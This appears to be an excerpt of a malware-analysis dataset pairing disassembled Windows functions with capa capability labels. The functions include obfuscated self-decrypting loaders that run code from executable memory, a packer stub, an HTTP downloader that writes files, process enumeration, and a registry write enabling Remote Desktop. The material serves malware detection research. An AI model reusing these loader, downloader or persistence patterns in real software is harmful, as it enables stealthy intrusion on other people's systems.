joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d7b364a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d4c]
test eax, eax
je 0x6d7b36b9
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d4c]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.6d7bf824
pop ecx
pop edi
pop esi
ret

Function at 0x6d7b3d88
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
test eax, eax
je 0x6d7b3dbd
push edi
mov edi, 0x120
cmp dword [esp + 0x10], edi
jae 0x6d7b3db0
push eax
call fcn.6d7b4838
push 2
call fcn.6d7b4827
pop ecx
pop ecx
mov dword [esi], eax
push edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
pop edi
pop esi
ret

Function at 0x6d7be17a
Capabilities:
Read file on windows

Disassembly:
cmp byte [esi], 0
push ebx
push edi
jne 0x6d7be200
mov edi, dword [esp + 0xc]
mov eax, dword [edi + 0x38]
mov ecx, dword [eax + 0x3c]
mov ebx, dword [sym.imp.MSVCR100.dll_fread]
test ecx, ecx
je 0x6d7be1a0
push 1
push esi
push edi
call ecx
add esp, 0xc
jmp 0x6d7be1ad
push dword [eax + 0x38]
push 1
push 1
push esi
call ebx
add esp, 0x10
cmp eax, 1
je 0x6d7be1c0
mov dword [0x6d7d9e8c], 0x66
xor eax, eax
jmp 0x6d7be215
mov eax, dword [edi + 0x38]
mov ecx, dword [eax + 0x3c]
lea edi, [esi + 1]
test ecx, ecx
je 0x6d7be1dd
movzx eax, byte [esi]
push eax
push edi
push dword [esp + 0x14]
call ecx
add esp, 0xc
jmp 0x6d7be1ec
push dword [eax + 0x38]
movzx eax, byte [esi]
push eax
push 1
push edi
call ebx
add esp, 0x10
movzx ecx, byte [esi]
cmp eax, ecx
jne 0x6d7be1b2
mov al, byte [edi]
mov ecx, dword [esp + 0x10]
mov byte [ecx], al
mov byte [edi], 2
jmp 0x6d7be210
movzx eax, byte [esi + 1]
mov al, byte [eax + esi]
mov ecx, dword [esp + 0x10]
mov byte [ecx], al
inc byte [esi + 1]
dec byte [esi]
xor eax, eax
inc eax
pop edi
pop ebx
ret
Function at 0x6d7bf824
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x6d7bf833
pop dword [ebp - 0x48]
mov eax, 0x43db4356
sub eax, 0xd65f4b23
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xb31878b2
sub dword [ebp - 0x58], 0x64c63367
mov dword [ebp - 0x54], 0x7e030e5c
add dword [ebp - 0x54], 0xb4303de9
mov dword [ebp - 0x50], 0x9cfc03ee
sub dword [ebp - 0x50], 0x50afbfc0
mov dword [ebp - 0x4c], 0x3f83465c
sub dword [ebp - 0x4c], 0x3f83465c
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x2232bf68
sub dword [ebp - 0x58], 0xadc05612
mov dword [ebp - 0x54], 0x8f30ce1c
add dword [ebp - 0x54], 0xb23b9359
mov dword [ebp - 0x50], 0x4bf7bad1
sub dword [ebp - 0x50], 0xe8884e65
mov dword [ebp - 0x4c], 0xa51776a9
add dword [ebp - 0x4c], 0x5ae88957
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3a789
push 0
call eax
mov ecx, 0xc3cd195f
add ecx, 0x3c33359b
xor ebx, ebx
add ebx, eax
mov edx, 0x9d0c5456
sub edx, 0x2f8e8256
add edx, dword [ebp - 0x48]
mov edi, 0x60738d82
add edi, 0x4f5657dc
mov esi, dword [edx]
add esi, edi
add dword [ebp - 0x18], edx
mov dword [ebx], esi
xor dword [ebp - 0x34], eax
add ebx, 0xe78b0897
sub ebx, 0xe78b0893
add edx, 0xb99576c0
add edx, 0x466a8944
loop 0x6d7bf94d
add eax, 0x12ebb
mov ebx, eax
add eax, 0xc27cd00f
add eax, 0x3d832ff6
mov ecx, 0x6d7b0000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x6d7c335e
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x6d7c338c
push esi
call fcn.6d7c7b5a
cmp dword [esi + 0x40], 0
pop ecx
je 0x6d7c3385
xor eax, eax
mov dword [esi + 0x14], 0xcf
inc eax
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x6d7c33fc
mov eax, dword [esi + 0x1b4]
cmp dword [eax + 0x10], 0
je 0x6d7c33ee
mov eax, dword [esi + 8]
test eax, eax
je 0x6d7c33ad
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x1b4]
push esi
call dword [eax]
pop ecx
test eax, eax
je 0x6d7c33ea
cmp eax, 2
je 0x6d7c33ee
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x6d7c33a2
cmp eax, 3
je 0x6d7c33d1
cmp eax, 1
jne 0x6d7c33a2
inc dword [ecx + 4]
mov ecx, dword [ecx + 4]
mov eax, dword [esi + 8]
cmp ecx, dword [eax + 8]
jl 0x6d7c33a2
mov ecx, dword [esi + 0x140]
add dword [eax + 8], ecx
jmp 0x6d7c33a2
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
mov dword [esi + 0x98], eax
jmp 0x6d7c341a
cmp eax, 0xcc
je 0x6d7c341a
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.6d7c3229
pop esi
ret

Function at 0x6d7cd236
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d7d7070]
jne 0x6d7cd240
repz ret
jmp fcn.6d7cd70c
Function at 0x4036e0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x424dec
call fcn.00403a20
push 0x40
push 0x40f700
push 0x424dec
push 0x424dec
call fcn.00403940
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40376b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x4146a0]
mov ecx, 8
mov esi, eax
mov edi, 0x424dcc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00403880
mov ecx, dword [0x41469c]
mov edx, dword [0x4146a0]
push 0x20
push ecx
push edx
call fcn.00403990
mov edi, dword [0x41469c]
add esp, 0x14
mov ecx, 8
mov esi, 0x424dcc
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40371f
jmp 0x4037c4
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x41469c]
mov ecx, 8
mov esi, eax
mov edi, 0x424dcc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00403880
mov ecx, dword [0x4146a0]
mov edx, dword [0x41469c]
push 0x20
push ecx
push edx
call fcn.00403990
mov edi, dword [0x4146a0]
add esp, 0x14
mov ecx, 8
mov esi, 0x424dcc
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40377a
push 0x40
push 0x40f740
push 0x424dec
push 0x424dec
call fcn.00403940
mov eax, dword [esp + 0x24]
push 0x40
push 0x424dec
push eax
call fcn.00403a60
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403800
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x424d8c
call fcn.00403a20
push 0x38
push str.91__
push 0x424d8c
push 0x424d8c
call fcn.00403940
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x40f838]
mov edx, dword [0x4146a4]
push ecx
push 0x1c
push edx
call fcn.004039c0
movsx eax, byte [esi + 0x40f838]
mov ecx, dword [0x4146a8]
push eax
push 0x1c
push ecx
call fcn.004039c0
push 0x30
push 0x40f808
push 0x424d8c
push edi
call fcn.00403940
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x403832
pop edi
pop esi
ret

Function at 0x403880
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x40f780
push esi
push 0x424d5c
call fcn.00403940
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x424d5c
call fcn.00403990
push 0x424d5c
push esi
call fcn.004038d0
push 0x20
push 0x40f7b0
push esi
push esi
call fcn.00403940
add esp, 0x34
pop esi
ret

Function at 0x403990
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x4039b2
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x4039a4
pop ebx
pop esi
ret
Function at 0x403f90
Capabilities:
Delete file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, eax
mov eax, dword [esp + 0xdc]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0xcc
ret

Function at 0x403fe0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x120
mov ecx, 0x33
push esi
mov esi, dword [esp + 0x128]
push edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
xor esi, esi
cmp eax, esi
jge 0x40407b
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x7c]
push esi
push edx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], si
mov word [esp + 0x72], si
mov dword [esp + 0x74], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4040e1
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push edx
push eax
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x7c]
push esi
push ecx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4040e1
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 8]
push eax
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax + 4], esi
mov dword [eax], 1
pop esi
add esp, 0x120
ret

Function at 0x404100
Capabilities:
Copy file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret

Function at 0x404150
Capabilities:
Move file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret
Function at 0x406ec0
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1006c
call fcn.0040a300
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x406eeb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Agent]
mov dx, word [0x415a54]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push str._s_ld
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x406f40
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x406f52
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x406f63
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x415a40]
mov edx, dword [0x415a3c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x415a44]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10084]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x406fc6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [esp + 0x10084]
push 0x4158f0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x406fef
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40701a
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x407072
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x407090
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x40703f
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1006c
ret
Function at 0x4070c0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4147b0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4070e2
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x40715e
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x407180
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x4071dd
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4071e1
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x4071c2
mov ebp, dword [esp + 0x18]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x407330
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0xef4b54
Capabilities:
Encode data using xor

Disassembly:
jmp 0xef4b5e
pushal
call 0xef4b64
pop ebp
sub ebp, 0x10
sub ebp, 0xaf4b54
jmp 0xef4b7a
mov eax, 0xaf4b54
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c2
mov edx, 0xe62608d2
xor byte [eax], dl
inc eax
dec ecx
jne 0xef4b91
jmp 0xef4ba4
pop ecx
pop ds
pop ecx
pop ebx
out dx, al
rcl dl, cl
rcl byte [ebx + 0x13], cl
sub dl, dl
rcl dl, cl
rcr dword [edi], 1
push 0xffffffffffffffd4
rcl dl, cl
shr byte [eax - 6], cl
rcl dl, cl
shl byte [0x591ad130], cl
push ebx
invalid
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40633c
pop dword [ebp - 0x30]
mov eax, 0x40633c
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xab99d0da
sub dword [ebp - 0x40], 0x5d478b8f
mov dword [ebp - 0x3c], 0x74d58295
sub dword [ebp - 0x3c], 0x42a23650
mov dword [ebp - 0x38], 0xca391d26
add dword [ebp - 0x38], 0x82132708
mov dword [ebp - 0x34], 0x48955dca
sub dword [ebp - 0x34], 0x48955dca
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x6529fa15
add dword [ebp - 0x40], 0xf486f41
mov dword [ebp - 0x3c], 0x70e6e924
add dword [ebp - 0x3c], 0xd0857851
mov dword [ebp - 0x38], 0xb94b1356
add dword [ebp - 0x38], 0xaa245916
mov dword [ebp - 0x34], 0xcb74bf4
sub dword [ebp - 0x34], 0xcb74bf4
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x5818f56b
sub eax, 0x57d8846b
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x364fd
push 0
call eax
mov ecx, 0x46c6
mov ebx, eax
mov edx, 0x4d5d850c
add edx, 0xb2e37af4
add edx, dword [ebp - 0x30]
mov edi, 0xbbbe89
sub dword [ebp - 0x2c], 0xf574674d
mov esi, dword [edx]
xor esi, edi
xor dword [ebp - 0x1c], edi
mov dword [ebx], esi
xor dword [ebp - 0x1c], ebx
add ebx, 4
add edx, 0x68640a8
sub edx, 0x68640a4
loop 0x406448
add eax, 0x10deb
mov ebx, eax
add eax, 0x936c7abc
add eax, 0x6c938549
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x42b9f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x422015
lea edi, [esi - 0x21015]
push edi
or ebp, 0xffffffff
jmp 0x42ba12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42ba19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42ba08
mov eax, 1
add ebx, ebx
jne 0x42ba2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42ba20
jne 0x42ba3c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ba20
xor ecx, ecx
sub eax, 3
jb 0x42ba50
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42bac2
mov ebp, eax
add ebx, ebx
jne 0x42ba5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42ba68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42ba8c
inc ecx
add ebx, ebx
jne 0x42ba78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42ba6d
jne 0x42ba89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ba6d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42baac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42ba9d
jmp 0x42ba0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42baac
add edi, ecx
jmp 0x42ba0e
pop esi
mov edi, esi
mov ecx, 0x105
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42baca
cmp byte [edi], 6
jne 0x42baca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42bacf
lea edi, [esi + 0x29000]
mov eax, dword [edi]
or eax, eax
je 0x42bb47
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2c7d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2c814]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42bafc
mov ecx, edi
jns 0x42bb2b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2c818]
or eax, eax
je 0x42bb41
mov dword [ebx], eax
add ebx, 4
jmp 0x42bb19
call dword [esi + 0x2c81c]
popal
jmp 0x4024b4
Function at 0x100294f
Capabilities:
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push dword [0x1004024]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100298d
push dword [0x1004028]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0xf1ab98
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf1aba2
pushal
call 0xf1aba8
pop ebp
sub ebp, 0x10
sub ebp, 0xb1ab98
jmp 0xf1abbe
mov eax, 0xb1ab98
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0x42487662
xor byte [eax], dl
inc eax
dec ecx
jne 0xf1abd5
jmp 0xf1abe8
jmp 0x5fdd959c